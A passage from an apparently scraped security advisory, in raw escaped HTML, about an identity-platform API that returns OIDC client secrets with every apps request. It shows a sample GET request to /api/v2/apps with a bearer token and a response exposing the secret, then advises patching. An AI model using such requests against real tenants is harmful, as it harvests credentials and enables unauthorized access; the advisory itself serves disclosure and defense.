Instead of returning this secret only when an App is first created, the system returns it with every request. This exposes the OIDC client secret to unauthorized viewers, potentially allowing them to gain unauthorized access to the system.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-943901443\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of a simple HTTP GET request to exploit this vulnerability:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/api\/v2\/apps HTTP\/1.1\nHost: target.onelogin.com\nAuthorization: Bearer &lt;access_token&gt;<\/code><\/pre>\n<p>The response in a vulnerable system will include the OIDC client secret:<\/p>\n<pre><code class=\"\" data-line=\"\">HTTP\/1.1 200 OK\nContent-Type: application\/json\n{\n&quot;apps&quot;: [\n{\n&quot;id&quot;: 12345,\n&quot;name&quot;: &quot;Vulnerable app&quot;,\n&quot;oidc_client_secret&quot;: &quot;exposed_secret&quot;\n}\n]\n}<\/code><\/pre>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>To mitigate this vulnerability, affected users are advised to apply the latest patch provided by the vendor.
